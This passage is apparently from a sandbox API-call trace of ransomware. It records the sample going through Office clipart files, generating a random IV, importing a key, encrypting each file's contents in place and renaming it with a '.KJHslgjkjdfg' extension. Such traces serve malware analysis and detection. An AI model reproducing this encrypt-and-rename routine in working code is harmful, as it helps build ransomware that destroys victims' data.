hTemplateFile=0x0) returned 0x130 [0205.806] GetProcessHeap () returned 0x2ef0000 [0205.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.806] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.809] GetProcessHeap () returned 0x2ef0000 [0205.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.810] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd6bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd6bc, lpOverlapped=0x0) returned 1 [0205.812] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd6c0) returned 1 [0205.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.813] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd6c0, lpOverlapped=0x0) returned 1 [0205.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.813] SetEndOfFile (hFile=0x130) returned 1 [0205.815] GetProcessHeap () returned 0x2ef0000 [0205.815] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.815] GetProcessHeap () returned 0x2ef0000 [0205.815] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.kjhslgjkjdfg")) returned 1 [0205.816] CloseHandle (hObject=0x130) returned 1 [0205.817] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0205.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.818] GetProcessHeap () returned 0x2ef0000 [0205.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.818] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.819] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.821] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.821] GetProcessHeap () returned 0x2ef0000 [0205.821] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.822] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.822] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.822] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x89a4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x89a4, lpOverlapped=0x0) returned 1 [0205.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x89b0, dwBufLen=0x89b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x89b0) returned 1 [0205.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.824] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x89b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x89b0, lpOverlapped=0x0) returned 1 [0205.824] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.824] SetEndOfFile (hFile=0x130) returned 1 [0205.827] GetProcessHeap () returned 0x2ef0000 [0205.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.827] GetProcessHeap () returned 0x2ef0000 [0205.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.kjhslgjkjdfg")) returned 1 [0205.828] CloseHandle (hObject=0x130) returned 1 [0205.828] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0205.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.829] GetProcessHeap () returned 0x2ef0000 [0205.829] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.829] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.829] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0205.831] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.831] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.831] GetProcessHeap () returned 0x2ef0000 [0205.831] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.831] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.831] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.831] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.831] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.831] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.831] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x42d1, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x42d1, lpOverlapped=0x0) returned 1 [0205.833] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x42e0, dwBufLen=0x42e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x42e0) returned 1 [0205.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.833] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x42e0, lpOverlapped=0x0) returned 1 [0205.833] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x43b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.833] SetEndOfFile (hFile=0x130) returned 1 [0205.833] GetProcessHeap () returned 0x2ef0000 [0205.833] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.833] GetProcessHeap () returned 0x2ef0000 [0205.833] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.kjhslgjkjdfg")) returned 1 [0205.835] CloseHandle (hObject=0x130) returned 1 [0205.835] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0205.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.836] GetProcessHeap () returned 0x2ef0000 [0205.836] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.836] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.836] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0205.838] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.838] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.838] GetProcessHeap () returned 0x2ef0000 [0205.838] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.839] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.839] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.839] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.839] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.839] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3e91, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3e91, lpOverlapped=0x0) returned 1 [0205.840] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ea0) returned 1 [0205.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.840] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ea0, lpOverlapped=0x0) returned 1 [0205.841] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.841] SetEndOfFile (hFile=0x130) returned 1 [0205.843] GetProcessHeap () returned 0x2ef0000 [0205.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.843] GetProcessHeap () returned 0x2ef0000 [0205.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.kjhslgjkjdfg")) returned 1 [0205.845] CloseHandle (hObject=0x130) returned 1 [0205.845] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0205.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.846] GetProcessHeap () returned 0x2ef0000 [0205.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.846] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0205.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.848] CryptSetKeyParam (hKey=0x2f182c8, 